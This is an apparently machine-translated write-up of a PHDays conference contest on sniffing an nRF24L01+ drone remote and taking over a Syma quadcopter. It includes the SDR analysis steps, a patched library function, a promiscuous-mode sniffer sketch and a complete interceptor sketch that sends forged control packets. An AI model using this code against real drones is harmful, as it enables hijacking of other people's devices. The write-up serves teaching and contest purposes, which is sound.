PHD VI:ドローンを盗んだ方法





今年、 PHDaysで新しいコンテストが導入され、誰でもSyma X5Cクワッドコプターを制御できるようになりました。 製造業者は、IPテクノロジーを使用せず、他のワイヤレス規格を使用している場合、セキュリティについて考えることができないとしばしば信じています。 ハッカーが手を振って、IP以外のものを扱うのは長すぎ、複雑で、費用がかかると判断するかのようです。



しかし、実際、すでに何度も言及しているように、SDR(ソフトウェア無線)はIoTの世界にアクセスするための優れたツールであり、エントリーのレベルはIoTソリューションのメーカーの整合性のレベルによって決まります。 ただし、SDRがなくても、周波数とプロトコルの限られたスペースではありますが、奇跡を起こすことができます。



目標は、ドローンを制御することです。



入力データ:





資金(申請者に発行):Arduino Nano、nRF24L01 +。



結果-ハイジャッカーはギフトとしてSyma X8Cを受け取りました。



私たちのドローンをハイジャックしたい人の中にはすでにHackRF、BladeRF、その他の深刻なおもちゃを武器に訓練された人がいるので、SDRと直接nRF24L01 +の2つの方法を説明します。



サムライパス-SDR



まず、このリモートが機能するチャンネルを見つける必要があります。 しかしその前に、一般的に何を探すべきかを理解するためにデータシートに目を通す必要があります。 最初に必要なのは、周波数の編成です。







これで、1 MHzステップで合計126のチャネルがあることがわかりました。 将来のチャネル幅とビットレートを知ることも役立ちます。







一般に、この知識がなくてもすべてを実行できます。これは、送信機の構成が常にわかっているとはほど遠いためです。 そこで、スペクトルスキャナーを起動します。 UmTRXを使用し、最大帯域幅は13 MHzです。















スペクトル全体のスクリーンショットは提供しませんでしたが、そのようなデータをオンエアで検索する方法は明らかです。 特定の周期で、データがチャネル25、41、57、および73に表示されることがわかります。



データシートが変調を明確に示しているという事実にもかかわらず、実際には、傍受したデバイスのデータシートが常にあるとは限りません。 したがって、GNU Radioで最も単純な回路を収集し、見つかったチャネルを記録します。







帯域幅<= 800 kHzのようです。 データシートによると、これはビットレートが250 Kbpsであることを意味します。



次に、記録されたデータを確認します。 baudlineを起動し、記録されたファイルを正しいパラメーターで開きます。次のようなものが表示されます。







ハイライトされたピークの1つを選択して、波形ウィンドウを開きます。







上に記録された信号があります。 相転移により、これがFSK / GFSK変調であることが明らかになります。



次に、復調器を配置し、もう少しフィルタリングする必要があります。







結果を開くと、画像が異なって見えます。今度は暗いストリップを見つけて、波形を開きます。







実際、ジョブは完了し、高レベルは1、低レベルは0です。 そして、タイムラインによって、パルス周期を決定し、ビットレートを計算できます。



最初に、送信機は送信周波数にチューニングし、キャリアのみを送信します。その後、0と1のシーケンスで構成されるプリアンブルがあり、異なるチップでは長さと内容の両方が異なる場合があり、nRF24L01では+ 1バイト0xAAまたは0x55ですアドレスの最上位ビット、この例では、プリアンブル0xAA。 次に、nRF24L01にアドレスバイトがあり、アドレスは3〜5バイトにすることができます(これは完全に真実ではありません)。







これで、アドレス(0xa20009890f)がわかりました。 さらに分析するには、次のように、少し自動化する必要があります。







出力は、0と1のシーケンスで構成されるファイルになります。



$ hexdump -C test3.raw
      
      







パッケージの1つは、オフセット0x5e25にあります。







これで次に何をすべきか-誰もが自分で決定しますが、パケットの長さと使用するCRCのタイプを選択する必要があります。 ファイルを分析してプリアンブルを見つけようとするユーティリティを作成し、その後、2つの異なる方法で異なるペイロード長とアドレスのCRCを計算しようとします(データシートを参照)。 次のようになりました。







ただし、後でPythonがオフライン分析にのみ適していることが明らかになり、250 Kbpsのビットレートでのリアルタイムデータの「ダイジェスト」は、高速化は言うまでもなく、非常に問題があります。 そのため、2番目のバージョンはCで生まれ、リアルタイムで動作します。







したがって、ペイロードがあるため、Symaプロトコル自体を理解する必要があります。



eg食の道-ArduinoとnRF24L01 +







この方法は、上記の方法とは異なり、ラジオの分野でほとんど知識を必要とせず、非常に安価です(Arduino-$ 2、nRF24L01 +-$ 1、ミニUSBおよびDuPontワイヤでもほぼ同じです)。グーグルスキル。 私たちが繰り返すことを提案したのは彼の競技者たちでした。



主な問題は、nrf24l01 +に無差別モードがないことです。 ただし、モジュール自体にはいくつかの奇妙な機能があります。1つ目-データシートには興味深いことがあります。







このレジスタを「00」に設定すると、アドレスは2バイトになります。 次に、別の興味深い機能があります。通常、プリアンブルが送信されて使用され、受信機が送信機に適応できるようになります。これは非常に多くの場合、0と1のシーケンスがプリアンブルとして送信されます。 nRF24L01 +モジュールの2番目の機能:プリアンブルを検索せず、どのような方法でも使用せず、受信中として記録されているアドレスを検索します。 上のスクリーンショットで送信された信号を見ると、プリアンブルの送信前に送信機がキャリアをブロードキャストしていることにも気付くことができます。 ほとんどの場合、nRF24L01 +は0x00(場合によっては0xFFとして認識され、ランダムバイトとして認識されることは少ない)として認識されることが実験的にわかっています。 したがって、これらの文書化されていない機能を使用して、アドレス長を2バイトに設定し、アドレス自体を0x00AAまたは0x0055としてnRF24L01 +を無差別モードに変換できます。 オプションの1つでは、1ビットシフトされたデータを受け取ります。 さらに、CRCをチェックせずにデータを受信できます。



これで、必要なすべての理論的知識が得られました。 欠点がありますが、RF24ライブラリ( github.com/TMRh20/RF24 )を使用します:関数のRF24.cppファイル



 void RF24::setAddressWidth(uint8_t a_width){ if(a_width -= 2){ write_register(SETUP_AW,a_width%4); addr_width = (a_width%4) + 2; } }
      
      





妥当性チェックを削除する必要があります。



 void RF24::setAddressWidth(uint8_t a_width){ a_width -= 2; write_register(SETUP_AW,a_width%4); addr_width = (a_width%4) + 2; }
      
      





現在、Arduinoの小さなスケッチを作成しています(この例はMega向けですが、他の場合でも動作します。CE_PIN、CSN_PINを自分のものに変更するだけです)。



 #include <SPI.h> #include <nRF24L01.h> #include <RF24.h> #include <printf.h> #define CE_PIN 53 /// Change it for your board #define CSN_PIN 48 /// Change it for your board RF24 radio(CE_PIN, CSN_PIN); const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'}; uint64_t pipe = 0x00AA; byte buff[32]; byte chan=0; byte len = 32; byte addr_len = 2; void set_nrf(){ radio.setDataRate(RF24_250KBPS); radio.setCRCLength(RF24_CRC_DISABLED); radio.setAddressWidth(addr_len); radio.setPayloadSize(len); radio.setChannel(chan); radio.openReadingPipe(1, pipe); radio.startListening(); } void setup() { Serial.begin(2000000); printf_begin(); radio.begin(); set_nrf(); } long t1 = 0; long t2 = 0; long tr = 0; void loop() { byte in; if (Serial.available() >0) { in = Serial.read(); if (in == 'w') { chan+=1; radio.setChannel(chan); Serial.print("\nSet chan: "); Serial.print(chan); } if (in == 's') { chan-=1; radio.setChannel(chan); Serial.print("\nSet chan: "); Serial.print(chan); } if (in == 'q') { Serial.print("\n"); radio.printDetails(); } } while (radio.available()) { t2 = t1; t1 = micros(); tr+=1; radio.read(&buff, sizeof(buff) ); Serial.print("\n"); Serial.print(tr); Serial.print("\tms: "); Serial.print(millis()); Serial.print("\tCh: "); Serial.print(chan); Serial.print("\tGet data: "); for (byte i=0; i<len;i++ ){ Serial.print(tohex[(byte)buff[i]>>4]); Serial.print(tohex[(byte)buff[i]&0x0f]); } } }
      
      





これで、シリアルポートにインストールされたチャネルから準備データを取得できます。チャネルの変更は、ポートに「w」と「s」を送信することで行われます。 さらに処理は、目、手、スクリプトなどの便利な方法で実行できます。 ポート速度は非標準であることに注意する必要があります-2 Mbit / s、これはArduinoがより少ない時間でI / Oを実行し、より多くのビジネスを行うために必要です(16 MHzであることを忘れないでください)。







チャネルを見つけてアドレスをキャプチャしたら、このアドレスを受信アドレスとして設定して、スペースからデータをフィルタリングする必要があります。



 uint64_t pipe = 0xa20009890fLL; byte addr_len = 5;
      
      









次に、すべてのチャネルを調べて、このアドレスがスキップするすべてを見つける必要があります。 何が起こっているかを少し観察すると、10、11、および12バイトがデータに応じて変化し、それらの後にランダムなバイトのシーケンス(ノイズ)が来ることがわかります。 CRC16(最後の2バイト)を有効にして、パケット長を10バイトに変更しようとします。



 byte len = 10; radio.setCRCLength(RF24_CRC_16);
      
      









ビンゴ! このリモートコントロールで使用されるnRF24L01 +に必要なすべての設定を見つけることができました。Symaプロトコル自体の分析次第です。



Symaプロトコル



リモートコントロールから少しのアクティビティを記録したため、分解することはまったく難しくありません。





残りのバイトは、インターセプトされたバイト、ゼロ位置調整(トリム)の値、およびカメラの動作に関連するいくつかのフラグがそこに送信されるのと同じままにすることができます。



有効なパッケージを形成するために残ります。たとえば、ドローンをその軸の周りに反時計回りに回転させます:92007f000040002400de



以下は、PHDaysインターセプターのスケッチで、次のように見えます。







 #include <SPI.h> #include <nRF24L01.h> #include <RF24.h> #include <stdio.h> #define CE_PIN 48 #define CSN_PIN 53 //// syma uint8_t chan[4] = {25,41,57,73}; const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'}; uint64_t pipe = 0xa20009890fLL; RF24 radio(CE_PIN, CSN_PIN); int8_t packet[10]; int joy_raw[7]; byte ch=0; //// controls uint8_t throttle = 0; int8_t rudder = 0; int8_t elevator = 0; int8_t aileron = 0; //// syma checksum uint8_t checksum(){ uint8_t sum = packet[0]; for (int i=1; i < 9; i++) sum ^= packet[i]; return (sum + 0x55); } //// initial void setup() { //set nrf radio.begin(); radio.setDataRate(RF24_250KBPS); radio.setCRCLength(RF24_CRC_16); radio.setPALevel(RF24_PA_MAX); radio.setAutoAck(false); radio.setRetries(0,0); radio.setAddressWidth(5); radio.openWritingPipe(pipe); radio.setPayloadSize(10); radio.setChannel(25); //set joystick pinMode(A0, INPUT); pinMode(A1, INPUT); pinMode(A2, INPUT); pinMode(A3, INPUT); pinMode(A4, INPUT); pinMode(A5, INPUT); pinMode(A6, INPUT); digitalWrite(A3, HIGH); digitalWrite(A4, HIGH); digitalWrite(A5, HIGH); digitalWrite(A6, HIGH); //init default data packet[0] = 0x00; packet[1] = 0x00; packet[2] = 0x00; packet[3] = 0x00; packet[4] = 0x00; packet[5] = 0x40; packet[6] = 0x00; packet[7] = 0x21; packet[8] = 0x00; packet[9] = checksum(); } void read_logitech() { joy_raw[0] = analogRead(A0); joy_raw[1] = analogRead(A1); joy_raw[2] = analogRead(A2); joy_raw[3] = !digitalRead(A3); joy_raw[4] = !digitalRead(A4); joy_raw[5] = !digitalRead(A6); joy_raw[6] = !digitalRead(A5); //little calibration joy_raw[0] = map(joy_raw[0],150, 840, 255, 0)+10; joy_raw[0] = constrain(joy_raw[0], 0, 254); joy_raw[1] = map(joy_raw[1],140, 830, 0, 255); joy_raw[1] = constrain(joy_raw[1], 0, 254); joy_raw[2] = map(joy_raw[2],130, 720, 255, 0); joy_raw[2] = constrain(joy_raw[2], 0, 254); } //// main loop void loop() { read_logitech(); throttle = joy_raw[2]; rudder = 64*joy_raw[4] - 64*joy_raw[5]; elevator = joy_raw[1]-127; aileron = joy_raw[0]-127; radio.openWritingPipe(pipe); ch +=1; if (ch>3) ch = 0; radio.setChannel(chan[ch]); packet[0] = throttle; if (elevator < 0) packet[1] = abs(elevator) | 0x80; else packet[1] = elevator; if (rudder < 0) packet[2] = abs(rudder) | 0x80; else packet[2] = rudder; if (aileron < 0) packet[3] = abs(aileron) | 0x80; else packet[3] = aileron; packet[4] = 0x00; packet[5] = 0x40; packet[6] = 0x00; packet[7] = 0x21; packet[8] = 0x00; packet[9] = checksum(); radio.write( packet, sizeof(packet) ); }
      
      





Arduinoに対処したくない場合は、同じライブラリのRaspberry Piでインターセプタープログラムを構築できます。







Raspberryの準備完了ファイル-github.com/chopengauer/nrf_analyze



参加者と受賞者



会議の2日間、12人半の人々がこのコンテストに参加しました。 多くの人が興味を持っていましたが、多くの人がWi-Fiを壊す必要はないことを知り、がっかりしました。 多くの人は、新しくて理解できない何かを引き受けることを恐れており、現代のモノのインターネットのセキュリティはこれにかかっています。



参加者の中には、すでにnRF24L01 +でワイヤレスネットワークを構築した人と、初めてそれらを目にした人がいました。



すでに1日目の途中で、参加者の1人がリモートコントロール信号を記録し、SDR(リプレイアタック)を使用してドローンに影響を与える最初の試みを行いました。 しかし、これによるドローンは干渉のようにわずかにひきつりました。 この攻撃は、ドローンが4つのチャネルを使用し、48 MHzの上限と下限の差があるため、1つのチャネルへの影響が盗難には不十分であるため、役に立たない。



初日の夕方までに、参加者の1人がモジュールの機能(2バイトアドレス0x00aa)について必要な知識をすべて持っていて、リモートコントロールのアドレスをスキャンしようとしましたが、問題は、nRF24L01チップの古いバージョン(+なし)のデータシートに出くわしたことでしたドローンで使用されるビットレートは250 Kbpsです。 また、モジュールを操作するために既製のライブラリを使用することを拒否し、そのレジスタを直接操作しました。 ハードコアのみ! 自転車でのみ足を骨折します;)



大会の勝者はグレブチェルボフで、2日目の16時までにドローンを完全にコントロールすることができました。 他の参加者はデバイスアドレスを傍受できませんでした。



コンテストの作者 :Pavel NovikovとArthur Garipov、Positive Technologies



All Articles